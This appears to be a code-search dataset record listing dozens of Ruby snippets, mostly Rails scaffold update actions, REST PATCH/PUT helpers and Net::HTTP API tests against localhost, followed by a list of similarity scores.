"def test_update_unsuccessful\n data = {\n firstname: \"\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"[email protected]\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n\n user_id = 28\n expected = 1002\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s)\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def test_update_post\n data = {\n title: \"Roll lemon\",\n content: \"Gingerbread bear claw muffin danish danish marzipan. Toffee lollipop wafer carrot cake dessert.\",\n description: \"Chocolate tootsie roll lemon drops. Chupa chups chocolate bar apple pie\",\n image: \"chocolate.png\",\n status: 1\n }\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @test_stuff.update(test_stuff_params)\n format.html { redirect_to @test_stuff, notice: 'Test stuff was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_stuff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_put_success\n put \"/blah\", @test_obj do |response|\n assert response.ok?, \"Update test object failed\"\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n respond_to do |format|\n if @test1.update(test1_params)\n format.html { redirect_to @test1, notice: \"Test1 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @test1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @test1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fixit_test.update(fixit_test_params)\n format.html { redirect_to @fixit_test, notice: 'Fixit test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fixit_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test10 = Test10.find(params[:id])\n\n respond_to do |format|\n if @test10.update_attributes(params[:test10])\n format.html { redirect_to @test10, notice: 'Test10 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test10.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tester = Tester.find(params[:id])\n\n respond_to do |format|\n if @tester.update_attributes(params[:tester])\n format.html { redirect_to @tester, notice: 'Tester was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tester.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tester = Tester.find(params[:id])\n\n respond_to do |format|\n if @tester.update_attributes(params[:tester])\n format.html { redirect_to @tester, notice: 'Tester was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tester.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @testing_.update(testing__params)\n format.html { redirect_to @testing_, notice: 'Testing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @testing_.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @testtest.update(testtest_params)\n format.html { redirect_to @testtest, notice: 'Testtest was successfully updated.' }\n format.json { render :show, status: :ok, location: @testtest }\n else\n format.html { render :edit }\n format.json { render json: @testtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @testcase = Testcase.find(params[:id])\n\n respond_to do |format|\n if @testcase.update_attributes(params[:testcase])\n format.html { redirect_to @testcase, :notice => 'Test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @testcase.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @test.update(test_params)\n respond_to do |format|\n format.html { redirect_to admin_tests_path }\n format.json { render :show, status: :ok, location: admin_tests_path }\n end\n else\n respond_to do |format|\n format.html { render :edit, notice: \"Please do you test again. An unexpected error has occured!\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end \n end",
"def test_change_status\n expected = 200\n post_id = 1\n data = {\n status: 1\n }\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s+'/status')\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update\n @test = LoadTest.find(params[:id])\n\n respond_to do |format|\n if @test.update_attributes(params[:load_test])\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @test.update(test_params)\n return render json: {message: 'Test was updated succesfully', error: false }\n else\n return render json: {message: 'Error: Test was not updated succesfully', error: true }\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @smoke_test = SmokeTest.find(params[:id])\n\n if not params[:smoke_test][:test_suite_ids] and not params[:smoke_test][:config_templates]\n @smoke_test.config_templates.clear\n @smoke_test.test_suites.clear\n end\n respond_to do |format|\n if @smoke_test.update_attributes(params[:smoke_test])\n\n @smoke_test.test_suites.clear if @smoke_test.test_suites.size == 0\n format.html { redirect_to(@smoke_test, :notice => 'Smoke test was successfully updated.') }\n format.json { render :json => @smoke_test, :status => :ok }\n format.xml { render :xml => @smoke_test, :status => :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @smoke_test.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @smoke_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @testis = Teste.find(params[:id])\n\n respond_to do |format|\n if @testis.update_attributes(params[:testis])\n format.html { redirect_to @testis, notice: 'Teste was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @testis.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @jquery_test.update(jquery_test_params)\n format.html { redirect_to @jquery_test, notice: 'Jquery test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @jquery_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_set = TestSet.find(params[:id])\n permitted_to! :update, @test_set.problem\n respond_to do |format|\n if @test_set.update_attributes(permitted_params)\n format.html { redirect_to @test_set, :notice => 'Test set was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @jsontest.update(jsontest_params)\n format.html { redirect_to @jsontest, notice: 'Jsontest was successfully updated.' }\n format.json { render :show, status: :ok, location: @jsontest }\n else\n format.html { render :edit }\n format.json { render json: @jsontest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n @team_test = TeamTest.find(params[:id])\n\n respond_to do |format|\n if @team_test.update_attributes(params[:team_test])\n format.html { redirect_to @team_test, notice: 'Team test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to patient_path(@test.patient), notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_test = TestTest.find(params[:id])\n\n respond_to do |format|\n if @test_test.update_attributes(params[:test_test])\n format.html { redirect_to(@test_test, :notice => 'TestTest was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @testfile.update(testfile_params)\n format.html { redirect_to @testfile, notice: 'Testfile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @testfile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, **args); end",
"def update\n respond_to do |format|\n if @test_detail.update(test_detail_params)\n format.html { redirect_to @test_detail, notice: 'Test detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_detail }\n else\n format.html { render :edit }\n format.json { render json: @test_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Prueba actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tktest = Tktest.find(params[:id])\n\n respond_to do |format|\n if @tktest.update_attributes(params[:tktest])\n format.html { redirect_to @tktest, notice: 'Tktest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tktest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tests_specification.update(tests_specification_params)\n format.html { redirect_to edit_tests_specification_path(@tests_specification), notice: \"Tests specification was successfully updated.\" }\n format.json { render :show, status: :ok, location: @tests_specification }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tests_specification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @section_test = SectionTest.find(params[:id])\n\n respond_to do |format|\n if @section_test.update_attributes(params[:section_test])\n format.html { redirect_to @section_test, notice: 'Section test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @section_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_file = TestFile.find(params[:id])\n\n respond_to do |format|\n if @test_file.update_attributes(params[:test_file])\n format.html { redirect_to @test_file, notice: 'Test file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_file.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update\n respond_to do |format|\n if @what_test.update(what_test_params)\n format.html { redirect_to @what_test, notice: 'What test was successfully updated.' }\n format.json { render :show, status: :ok, location: @what_test }\n else\n format.html { render :edit }\n format.json { render json: @what_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_suite = TestSuite.find(params[:id])\n\n respond_to do |format|\n if @test_suite.update_attributes(params[:test_suite])\n format.html { redirect_to @test_suite, notice: 'Test suite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_suite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_instance.update(test_instance_params)\n # jankety solution to set version properly\n @test_instance.update_version(true)\n\n format.html do\n redirect_to test_case_test_instances_url(@test_case),\n notice: 'Test instance was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @test_instance }\n else\n format.html { render :edit }\n format.json do\n render json: @test_instance.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n @test_post = TestPost.find(params[:id])\n\n respond_to do |format|\n if @test_post.update_attributes(params[:test_post])\n format.html { redirect_to @test_post, notice: 'Test post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @usertest = Usertest.find(params[:id])\n\n respond_to do |format|\n if @usertest.update_attributes(params[:usertest])\n format.html { redirect_to @usertest, notice: 'Usertest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @usertest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_case.update(test_case_params)\n TestMailer.admin_test_updated_email(@test_case).deliver\n \n format.html { redirect_to @test_case, notice: 'Your test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n tp = test_params.merge!(plate_id: params[:plate_id])\n respond_to do |format|\n if @test.update(tp)\n format.html { redirect_to [@plate, @test], notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_run = TestRun.find(params[:id])\n\n respond_to do |format|\n if @test_run.update_attributes(params[:test_run])\n format.html { redirect_to @test_run, notice: 'Test run was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_run.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n respond_to do |format|\n if @case_test.update(case_test_params)\n format.html { redirect_to @case_test, notice: 'Case test was successfully updated.' }\n format.json { render :show, status: :ok, location: @case_test }\n else\n format.html { render :edit }\n format.json { render json: @case_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @testmonial = Testmonial.find(params[:id])\n\n if @testmonial.update(testmonial_params)\n head :no_content\n else\n render json: @testmonial.errors, status: :unprocessable_entity\n end\n end",
"def update\n @admin_test = Admin::Test.find(params[:id])\n\n respond_to do |format|\n if @admin_test.update_attributes(params[:admin_test])\n format.html { redirect_to(@admin_test, :notice => 'Test was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @admin_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update\n @test_user = TestUser.find(params[:id])\n\n respond_to do |format|\n if @test_user.update_attributes(params[:test_user])\n format.html { redirect_to @test_user, notice: 'Test user was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_item.update(test_item_params)\n format.html { redirect_to @test_item, notice: 'Test item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_suite.update(test_suite_params)\n format.html { redirect_to @test_suite, notice: 'Test suite was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_suite }\n else\n format.html { render :edit }\n format.json { render json: @test_suite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_test = StudentTest.find(params[:id])\n\n respond_to do |format|\n if @student_test.update_attributes(params[:student_test])\n format.html { redirect_to @student_test, notice: 'Student test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"def update\n @test = TkdTest.find(params[:id])\n\n respond_to do |format|\n if @test.update_attributes(params[:tkd_test])\n format.html { redirect_to(@test, :notice => 'Test was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @testsuite.update(testsuite_params)\n format.html { redirect_to @testsuite, notice: 'Testsuite was successfully updated.' }\n format.json { render :show, status: :ok, location: @testsuite }\n else\n format.html { render :edit }\n format.json { render json: @testsuite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test = Mg::Test.find(params[:id])\n\n if @test.update_attributes(params[:test])\n flash[:notice] = 'Test was successfully updated.'\n redirect_to mg_test_url :id => @test.id\n else\n render :action => \"edit\"\n end\n end",
"def update\n respond_to do |format|\n if @reacttest.update(reacttest_params)\n format.html { redirect_to @reacttest, notice: 'Reacttest was successfully updated.' }\n format.json { render :show, status: :ok, location: @reacttest }\n else\n format.html { render :edit }\n format.json { render json: @reacttest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_submission = TestSubmission.find(params[:id])\n\n respond_to do |format|\n if @test_submission.update_attributes(params[:test_submission])\n format.html { redirect_to @test_submission, :notice => 'Test submission was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_submission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def test_update_object_by_id\r\n\t VCR.use_cassette('edit_object') do\r\n\t\t cred=JSON.parse(YAML::load_file('test/fixtures/credential.yml').to_json)\r\n\t\t json = JSON.parse(File.read(\"test/fixtures/edit_specimen.json\"))\r\n\t\t id = json[\"id\"]\r\n\t\t json[\"id\"] = \"\" #id cannot be updated\r\n\t\t result=CordraRestClient::DigitalObject.update(API_URL, id, json, cred[\"uc_1\"])\r\n\r\n\t\t #check that the result is saved\r\n\t\t assert_equal 200, result[:code]\r\n\t\t assert_equal \"OK\", result[\"message\"]\r\n\t\tend\r\n\t end",
"def update\n respond_to do |format|\n if @httparty_test.update(httparty_test_params)\n format.html { redirect_to @httparty_test, notice: 'Httparty test was successfully updated.' }\n format.json { render :show, status: :ok, location: @httparty_test }\n else\n format.html { render :edit }\n format.json { render json: @httparty_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fixture = Fixture.find(params[:id])\n\n respond_to do |format|\n if @fixture.update_attributes(fixture_params)\n format.json { head :no_content }\n else\n format.json { render json: @fixture.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n respond_to do |format|\n if @testtype.update(testtype_params)\n format.html { redirect_to @testtype, notice: 'Testtype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @testtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n if @test_question.update_attributes(params[:test_question])\n format.html { redirect_to @test_question, :notice => 'Test question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @testboot.update(testboot_params)\n format.html { redirect_to @testboot, notice: 'Testboot was successfully updated.' }\n format.json { render :show, status: :ok, location: @testboot }\n else\n format.html { render :edit }\n format.json { render json: @testboot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(action, **args); end",
"def update\n @dtest = Dtest.find(params[:id])\n\n respond_to do |format|\n if @dtest.update_attributes(params[:dtest])\n format.html { redirect_to @dtest, notice: t(:upd_test)}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_instance.update(test_instance_params)\n format.html { redirect_to @test_instance, notice: 'Test instance was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_instance }\n else\n format.html { render :edit }\n format.json { render json: @test_instance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_test.update(user_test_params)\n format.html { redirect_to admin_user_tests_path, notice: 'User test was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_test }\n else\n format.html { render :edit }\n format.json { render json: @user_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_two.update(test_two_params)\n format.html { redirect_to @test_two, notice: 'Test two was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_two }\n else\n format.html { render :edit }\n format.json { render json: @test_two.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n logger.debug \"---------------------\"\n logger.debug \"---------------------\"\n @testing = Testing.find(params[:id])\n\n respond_to do |format|\n if @testing.update_attributes(params[:testing])\n format.html { redirect_to(@testing, :notice => 'Testing was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @testing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_exercise.update(api_v1_exercise_params)\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_exercise }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @testpat.update(testpat_params)\n format.html { redirect_to @testpat, notice: 'Testpat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @testpat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test = @subject.tests.find_by_id(params[:id])\n if @test.update_attributes(params[:test])\n redirect_to user_subject_tests_path\n else\n render :action => \"edit\"\n end\n end",
"def update\n @testmethod = Testmethod.find(params[:id])\n\n respond_to do |format|\n if @testmethod.update_attributes(params[:testmethod])\n format.html { redirect_to(@testmethod, :notice => 'Test Method was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @testmethod.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"def update\n respond_to do |format|\n if @test_call.update(test_call_params)\n format.html { redirect_to @test_call, notice: 'Test call was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_call.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.66275895",
"0.6462119",
"0.6461085",
"0.641104",
"0.6391308",
"0.6391308",
"0.6391308",
"0.6391308",
"0.6391308",
"0.6391308",
"0.6391308",
"0.6353196",
"0.63523674",
"0.63470954",
"0.6342605",
"0.6310571",
"0.6279947",
"0.62674844",
"0.62450176",
"0.6235671",
"0.6208939",
"0.61947995",
"0.61947995",
"0.61943364",
"0.6174246",
"0.61503476",
"0.61304",
"0.61163825",
"0.60935754",
"0.6091238",
"0.6091115",
"0.6088009",
"0.60810995",
"0.6078261",
"0.6076138",
"0.60693043",
"0.6063082",
"0.6060901",
"0.6051744",
"0.6050317",
"0.60467756",
"0.6022913",
"0.6003661",
"0.60030085",
"0.59930754",
"0.5966503",
"0.5965418",
"0.59475964",
"0.59365875",
"0.5922691",
"0.59114623",
"0.5910229",
"0.5909245",
"0.5899001",
"0.58900523",
"0.5879699",
"0.5876636",
"0.5876603",
"0.58635706",
"0.5838138",
"0.5837912",
"0.5837912",
"0.5836278",
"0.58185935",
"0.5817584",
"0.5817437",
"0.5808303",
"0.58042425",
"0.5804135",
"0.57988244",
"0.5790293",
"0.5777397",
"0.577582",
"0.57730615",
"0.57677317",
"0.5763257",
"0.57526207",
"0.5750231",
"0.5748638",
"0.57465667",
"0.5743325",
"0.5739761",
"0.5739761",
"0.5739441",
"0.5738379",
"0.573424",
"0.57303005",
"0.5718949",
"0.5717379",
"0.57163274",
"0.5713701",
"0.57099587",
"0.57066184",
"0.57041925",
"0.57004386",
"0.5696277",
"0.5695865",
"0.5691878",
"0.5687385",
"0.56830645"
] | 0.58197886 | 63 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.